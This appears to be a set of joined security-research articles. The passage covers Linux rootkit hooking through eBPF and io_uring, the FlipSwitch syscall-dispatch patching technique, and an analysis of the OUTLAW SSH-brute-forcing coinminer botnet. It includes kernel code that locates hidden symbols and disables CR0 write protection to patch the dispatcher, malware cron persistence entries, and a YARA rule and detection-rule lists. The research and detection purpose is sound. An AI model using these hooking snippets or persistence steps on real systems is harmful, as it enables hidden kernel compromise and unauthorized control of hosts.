    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.

Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.

Evasion Techniques Using io_uring

While io_uring is not used for hooking, it deserves a honorable mention as a recent addition to the EDR evasion techniques used by rootkits. io_uring is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.

Attack patterns fall into two classes: (1) evasion/performance abuse: a malicious process uses io_uring to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) exploit enabling: bugs in io_uring surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. io_uring also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:

// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&ring, &cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&ring, cqe);

The example above shows a submission queue feeding many file ops into the kernel with a single or a few io_uring_enter syscalls, reducing per-operation syscall telemetry.

Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to io_uring to reduce syscall noise. io_uring does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the io_uring syscalls (io_uring_enter, io_uring_register) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: io_uring features evolve quickly, so attacker techniques may be version-dependent. Finally, because io_uring requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.

Conclusion

Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.

In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.

Syscall hooking, particularly by overwriting pointers to syscall handlers, has been a cornerstone of Linux rootkits like Diamorphine and PUMAKIT, enabling them to hide their presence and control the flow of information. While other hooking mechanisms exist, such as ftrace and eBPF, each has its own pros and cons, and most have some form of limitation. Function pointer overwrites remain the most effective and simple way of hooking syscalls in the kernel.

However, the Linux kernel is a moving target. With each new release, the community introduces changes that can render entire classes of malware obsolete overnight. This is precisely what happened with the release of Linux kernel 6.9, which introduced a fundamental change to the syscall dispatch mechanism for x86-64 architecture, effectively neutralizing traditional syscall hooking methods.

The Walls Are Closing In: The Death of a Classic Hooking Technique

To appreciate the significance of the changes in kernel 6.9, let's first revisit the classic method of syscall hooking. For years, the kernel used a simple array of function pointers called the sys_call_table to dispatch syscalls. The logic was beautifully simple, as seen in the kernel source:

// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);

A rootkit could locate this table in memory, disable write protection, and overwrite the address of a syscall like kill or getdents64 with a pointer to its own adversary-controlled function. This empowers a rootkit to filter the output of the ls command to hide malicious files or prevent a specific process from being terminated, for example. But the directness of this mechanism was also its weakness. With Linux kernel 6.9, the game changed completely when the direct array lookup was replaced with a more efficient and secure switch statement-based dispatch mechanism:

// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include <asm/syscalls_64.h> // Expands to case statements
    default: return __x64_sys_ni_syscall(regs);
    }
}

This change, while seemingly subtle, was a death blow to traditional syscall hooking. The sys_call_table still exists for compatibility with tracing tools, but it is no longer used for the actual dispatch of syscalls. Any modifications to it are simply ignored.

Finding a New Way In: The FlipSwitch Technique

We knew that the kernel still had to call the original syscall functions somehow. The logic was still there, just hidden behind a new layer of indirection. This led to the development of FlipSwitch, a technique that bypasses the new switch statement implementation by directly patching the compiled machine code of the kernel's syscall dispatcher.

Here's a breakdown of how it works:

The first step is to find the address of the original syscall function we want to hook. Ironically, the now-defunct sys_call_table is the perfect tool for this. We can still look up the address of sys_kill in this table to get a reliable pointer to the original function.

A common method to locate kernel symbols is the kallsyms_lookup_name function. This function provides a programmatic way to find the address of any exported kernel symbol by its name. For instance, we can use kallsyms_lookup_name("sys_kill") to obtain the address of the sys_kill function, providing a flexible and reliable way to obtain function pointers even when the sys_call_table is not directly usable for dispatch.

It's important to note that kallsyms_lookup_name is generally not exported by default, meaning it's not directly accessible to loadable kernel modules. This restriction enhances kernel security. However, a common technique to indirectly access kallsyms_lookup_name is by using a kprobe. By placing a kprobe on a known kernel function, a module can then use the kprobe's internal structure to derive the address of the original, probed function. From this, a function pointer to kallsyms_lookup_name can often be obtained through careful analysis of the kernel's memory layout, such as by examining nearby memory regions relative to the probed function's address.

/**
 * Find the address of kallsyms_lookup_name using kprobes
 * @return Pointer to kallsyms_lookup_name function or NULL on failure
 */
void *find_kallsyms_lookup_name(void)
{
    struct kprobe *kp;
    void *addr;

    kp = kzalloc(sizeof(*kp), GFP_KERNEL);
    if (!kp)
        return NULL;

    kp->symbol_name = O_STRING("kallsyms_lookup_name");
    if (register_kprobe(kp) != 0) {
        kfree(kp);
        return NULL;
    }

    addr = kp->addr;
    unregister_kprobe(kp);
    kfree(kp);

    return addr;
}

After finding the address of kallsyms_lookup_name, we can use it to find pointers to the symbols that we need to continue the process of placing a hook.

With the target address in hand, we then turn our attention to the x64_sys_call function, the new home of the syscall dispatch logic. We begin to scan its raw machine code, byte by byte, looking for a call instruction. On x86-64, the call instruction has a specific one-byte opcode: 0xe8. This byte is followed by a 4-byte relative offset that tells the CPU where to jump to.

This is where the magic happens. We're not just looking for any call instruction. We're looking for a call instruction that, when combined with its 4-byte offset, points directly to the address of the original sys_kill function we found previously. This combination of the 0xe8 opcode and the specific offset is a unique signature within the x64_sys_call function. There is only one instruction that matches this pattern.

/* Search for call instruction to sys_kill in x64_sys_call */
    for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
        if (func_ptr[i] == 0xe8) { /* Found a call instruction */
            int32_t rel = *(int32_t *)(func_ptr + i + 1);
            void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
            
            if (call_addr == (void *)sys_call_table[__NR_kill]) {
                debug_printk("Found call to sys_kill at offset %zu\n", i);

Once we've located this unique instruction, we've found our insertion point. But before we can modify the kernel's code, we must bypass its memory protections. Since we are already executing within the kernel (ring 0), we can use a classic, powerful technique: disabling write protection by flipping a bit in the CR0 register. The CR0 register controls basic processor functions, and its 16th bit (Write Protect) prevents the CPU from writing to read-only pages. By temporarily clearing this bit, we permit ourselves to modify any part of the kernel's memory.

/**
 * Force write to CR0 register bypassing compiler optimizations
 * @param val Value to write to CR0
 */
static inline void write_cr0_forced(unsigned long val)
{
    unsigned long order;

    asm volatile("mov %0, %%cr0" 
        : "+r"(val), "+m"(order));
}

/**
 * Enable write protection (set WP bit in CR0)
 */
static inline void enable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0_forced(cr0);
}

/**
 * Disable write protection (clear WP bit in CR0)
 */
static inline void disable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0_forced(cr0);
}

With write protection disabled, we overwrite the 4-byte offset of the call instruction with a new offset that points to our own fake_kill function. We have, in effect, "flipped the switch" inside the kernel's own dispatcher, redirecting a single syscall to our malicious code while leaving the rest of the system untouched.

This technique is both precise and reliable. And, significantly, all changes are fully reverted when the kernel module is unloaded, leaving no trace of its presence.

The development of FlipSwitch is a testament to the ongoing cat-and-mouse game between attackers and defenders. As kernel developers continue to harden the Linux kernel, attackers will continue to find new and creative ways to bypass these defenses. We hope that by sharing this research, we can help the security community stay one step ahead.

Detecting malware

Detecting rootkits once they have been loaded into the kernel is exceptionally difficult, as they are designed to operate stealthily and evade detection by security tools. However, we have developed a YARA signature to identify the proof-of-concept for FlipSwitch. This signature can be used to detect the presence of the FlipSwitch rootkit in memory or on disk.

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the Flipswitch proof of concept.

rule Linux_Rootkit_Flipswitch_821f3c9e
{
	meta:
		author = "Elastic Security"
		description = "Yara rule to detect the FlipSwitch rootkit PoC"
		os = "Linux"
		arch = "x86"
		category_type = "Rootkit"
		family = "Flipswitch"
		threat_name = "Linux.Rootkit.Flipswitch"
		
	strings:
		$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
		$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
		$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
		$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
		$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
		$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
		$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }

	condition:
		#all_a>=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}

References

The following were referenced throughout the above research:

• https://github.com/1337-42/FlipSwitch-dev/
• https://www.virusbulletin.com/conference/vb2025/abstracts/unmasking-unseen-deep-dive-modern-linux-rootkits-and-their-detection/

OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [1], [2], [3], [4]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques.

To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process.

By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors.

This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response.

Key Takeaways

• Persistent but unsophisticated: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence.
• Commodity tooling: The malware deploys modified XMRig miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion.
• Extensive attack surface: OUTLAW’s infection chain spans nearly the entire MITRE ATT&CK framework, offering many detection and hunting opportunities.
• Worm-like propagation: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet.

OUTLAW Overview

OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below:

1. Initial Infection & Deployment

• The attack starts when tddwrt7s.sh downloads the dota3.tar.gz package from a C2 server.
• The extracted initall.sh script executes, kicking off the infection chain.

2. Gaining Control & Persistence

• The malware ensures dominance by killing competing brute-forcers and miners.
• It then deploys:
  • Modified XMRIG for crypto mining (connecting to a mining pool).
  • STEALTH SHELLBOT for remote control via IRC C2.
  • BLITZ to perform SSH brute force attacks.

3. Propagation & Expansion

• The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines.
• Successfully compromised systems are infected, repeating the cycle.

This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain.

OUTLAW Execution Chain

OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&CK framework. This section maps its behavior to provide an overview of its infection chain and methods.

Initial Access: blitz

OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its blitz component, also known under other names such as kthreadadd, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers.

OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts.

We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article.

Execution: tddwrt7s.sh

The first infections of OUTLAW seem to originate from a straightforward dropper script: tddwrt7s.sh. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below:

The extracted dota3.tar.gz package extracts its contents into a hidden folder called .rsync, and contains the following entries:

 ├── a
 │   ├── a
 │   ├── init0
 │   ├── kswapd0
 │   ├── kswapd01
 │   ├── run
 │   ├── socat
 │   └── stop
 ├── b
 │   ├── a
 │   ├── run
 │   └── stop
 ├── c
 │   ├── blitz
 │   ├── blitz32
 │   ├── blitz64
 │   ├── go
 │   ├── run
 │   ├── start
 │   ├── stop
 │   └── v
 ├── init
 ├── init2
 └── initall

Let’s deconstruct the execution chains one by one.

Main Initialization script: initall

The three init scripts control the overall execution flow and deployment of the malware. Starting with the initall script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use init or init2 based on file permissions and available directories.

These init scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the initall script looks like this:

However, by changing the eval to an echo, we can get the output without any effort:

This script will, by default, consistently execute init. This is the primary execution path that installs the malware in the hidden directory ~/.configrc6. The fallback execution path is init2, which is used when ~/.configrc6 is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts:

The first script (init) hides its components in the hidden directory ~/.configrc6, while the second script (init2) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named a in the a/ and b/ directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots:

5 6 * * 0   ~/.configrc6/a/upd
@reboot     ~/.configrc6/a/upd
5 8 * * 0   ~/.configrc6/b/sync
@reboot     ~/.configrc6/b/sync
0 0 */3 * * ~/.configrc6/c/aptitude

Although the scripts execute the a binary in the a/ and b/ directories nearly simultaneously, we will follow the execution flow of the a/ directory first.

Subroutine Execution of a/ directory: XMRIG

The first script that is executed is a, which removes any existing cron jobs using crontab -r and then stores the current working directory in a variable. It then creates a shell script called upd that checks if a process (stored in bash.pid) is still running. If the process is not running, it executes ./run as a background process, ensuring that the malware is continuously restarted if terminated.

Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as rsync, go, kswapd0, blitz, and redtail.

Further down the script, a function is created that checks if /sys/module/msr/parameters/allow_writes exists and sets it to "on" to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the modprobe msr allow_writes=on command.

Next, the function identifies the active CPU by checking /proc/cpuinfo and applies specific MSR register values to optimize performance.

Finally, the function optimizes memory usage by enabling hugepages for all CPU cores, increasing memory access efficiency. It calculates the number of hugepages needed based on the available processors (nproc) and sets them in the /sys/devices/system/node/node*/hugepages/ directories.

The optimize_func() function was not created by the threat actor. The threat actor used an open-source script from the XMRig repository, specifically the randomx_boost.sh script, to aid in their infection chain.

Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of hugepages through sysctl:

All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the upd file and "777" permissions to all files in its folder and runs upd.

As we saw earlier in the chain, the upd file checks whether the process stored in bash.pid is still running, and if it is not, it will execute the run script:

The run script will start the stop script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below:

Interestingly enough, a second process-killing script called init0 is present, which is an open-source script for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the a script.

After the stop script has been successfully run, the run script starts the kswapd01 and kswapd0 binaries in the background via nohup.

kswapd01

The kswap01 binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous socat process, which is essential for communication with the attacker’s C2 servers.

When executed, kswap01 checks for any existing socat processes running on the infected machine. If no active connection is found, it proceeds to kill any running socat processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh socat process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker.

However, it's important to note that not every version of the OUTLAW malware package observed includes the socat binary. In these cases, the functionality provided by socat is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication.

By performing these checks and modifications, kswap01 helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system.

kswapd0

The file named kswapd0 is a maliciously modified copy of the legitimate XMRig cryptocurrency miner (specifically version 6.22.1).

Two major modifications define the malware’s behavior:

1. Startup Shell Commands

• The malware removes and recreates the victim’s ~/.ssh folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (chattr +ia) to prevent modification. This grants persistent SSH access.
• It also removes or locks existing XMRig configuration files (e.g., ~/.xmrig.json, ~/.config/xmrig.json) to ensure the attacker’s embedded miner settings remain intact.

2. Embedded Miner Configuration

• The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file.
• Mining traffic is routed to multiple Monero pools over plaintext ports (:80, :4444), SSL (:442), and occasionally TOR addresses. Note that the port 442 here is not a typo.
• The configuration optimizes performance by:
  • Running the miner in the background
  • Enabling large pages for RandomX
  • Setting the donation level to zero
  • Maximizing CPU thread usage

By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, kswapd0 serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process.

Subroutine Execution of b/ directory: STEALTH SHELLBOT

As we described earlier, the a binary in the b/ directory was also executed via the init scripts.

This script kicks off another stop script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called sync, with the sole purpose of executing the run script. This script is referenced in the cronjob we described earlier. The run script contains three base64-encoded blobs, which are piped to perl. An example of a shortened script is shown below:

Upon base64 decoding, obfuscated perl scripts are identified. These scripts leverage a public Perl Obfuscator utility to obfuscate their contents, making them harder to analyze:

Fortunately, the author left the standard comments in the obfuscated scripts. By using the publicly available deobfuscator we can deobfuscate the script through the following command:

perl decode-stunnix-5.17.1.pl < obfuscated_run.pl > deobfuscated_run.pl

After which we can view the deobfuscated contents:

This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment.

The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through chattr:

STEALTH SHELLBOT Scripts

The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities.

SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can:

• Execute arbitrary shell commands
• Download and execute additional payloads
• Launch DDoS attacks (in older variants)
• Steal credentials or exfiltrate system information
• Manage crypto miners or other malware components

OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions.

While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch.

Subroutine Execution of c/ directory: Customer Bruteforcer

As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the init and init2 scripts. These scripts both call the start script, containing the following contents:

This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named aptitude (which is also called by the previously set up cron job), to run the run script. After creating aptitude, it is granted execution permissions and is run.

The run script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below:

If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing ./go in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary golan now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess.

In most scenarios, the execution flow moves to the bash script called go:

The script determines the CPU architecture and assigns a thread count accordingly:

• ARM-based systems → 75 threads
• i686 (32-bit x86) → 325 threads
• All others (default) → 475 threads

It then enters an infinite loop, executing the following actions:

1. Creates and cleans up temporary files (v, p, ip, xtr*, a.*, b.*).
2. Writes hardcoded values (257.287.563.234 and sdaferthqhr34312asdfa) into files c and d.
3. Waits for a random delay (1-30 seconds) before launching blitz.
4. Executes blitz for 3 hours with specified parameters (-t $threads suggests multi-threaded processing).
5. Performs post-execution cleanup, removing temporary and log files before repeating the cycle.

BLITZ

OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention.

BLITZ Execution Process

Upon execution, BLITZ follows a structured attack sequence:

1. IP Target and Credential Retrieval
   • BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs.
2. Brute-Force Authentication & System Profiling
   • Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials.
   • Once access is gained, it:
     • Changes the user’s password for persistent access.
     • Executes system reconnaissance commands, collecting:
       • User privileges
       • CPU details
       • SSH banner information
       • OS version
     • Exfiltrates gathered data to the C2 server.
3. Subnet Scanning & Lateral Movement
   • The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack.
4. Self-Replication & Malware Deployment
   • Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure.

By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion.

Binary Analysis & C2 Communication

Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data.

Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password "pegasus". Upon successful authentication, Blitz logs attack details into a "v" file, structured as follows:

This log contains:

• Original username and password used in the attack.
• The victim’s IP address and the new password set by the malware.
• SSH port and OS details, including CPU specifications.

Once BLITZ completes its scanning cycle, the "v" file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems.

Post-Compromise

To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions.

A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29. The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via wget, unpacked it, and executed the newly fetched script.

This whole chain of activity can be displayed through session view, an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior.

The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC.

This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual "quality check" of sorts—underscoring the importance of timely detection and swift containment.

Detecting OUTLAW through MITRE ATT&CK

OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&CK techniques, making it an effective case for detection engineering.

This section maps OUTLAW’s attack chain to MITRE ATT&CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages.

OUTLAW follows a structured infection flow:

• Initial Access – SSH brute-force against weak credentials.
• Execution – Runs malicious scripts to kick off several stages of malware infection.
• Persistence – Installs cron jobs and modifies SSH keys.
• Defense Evasion – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts.
• Credential Access – Modifies credentials and injects public SSH keys.
• Discovery – Enumerates user, system, and hardware details.
• Lateral Movement – Spreads via internal SSH brute-force and malware transfer.
• Collection & Exfiltration – Collects and exfiltrates system data to its C2.
• Command and Control – Uses socat and STEALTH SHELLBOT for C2 communication.
• Impact – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node.

The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections.

TA001: Initial Access

OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built detection rules can successfully detect this method of initial access. These include:

• Potential External Linux SSH Brute Force Detected
• Potential Successful SSH Brute Force Attack

Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications:

• Successful SSH Authentication from Unusual SSH Public Key
• Successful SSH Authentication from Unusual User
• Successful SSH Authentication from Unusual IP Address

Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using ES|QL and OSQuery, publicly available in our Detection Rules repository, specifically in the Linux hunting subdirectory. For example, the following two hunts may help in identifying different stages of the attack:

• Logon Activity by Source IP
• Excessive SSH Network Activity to Unique Destinations

TA002: Execution

After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect:

• File Downloaded from Suspicious Source by Web Server
• Memory Threat Detection Alert: Linux.Trojan.Pornoasset

The STEALTH SHELLBOT script is detected through:

• Script Executed Through Unusual Parent Process

Additionally, the malware executes multiple suspicious system commands, triggering:

• Suspicious System Commands Executed by Previously Unknown Executable

TA003: Persistence

This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our "Linux Detection Engineering - A primer on persistence mechanisms" publication. We can detect these techniques through the following SIEM and endpoint rules:

• Cron Job Created or Modified
• SSH Authorized Keys File Modification
• Potential Persistence via File Modification

Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts:

• Persistence via Cron
• Persistence via SSH Configurations and/or Keys

TA005: Defense Evasion

OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules:

• Base64 Decoded Payload Piped to Interpreter
• Unusual Base64 Encoding/Decoding Activity
• Linux Payload Decoded and Decrypted via Built-in Utility

Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections.

Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using chattr:

• File Permission Modification in Writable Directory
• Creation of Hidden Files and Directories via CommandLine
• File made Immutable by Chattr
• Chattr Execution from Unusual Parent

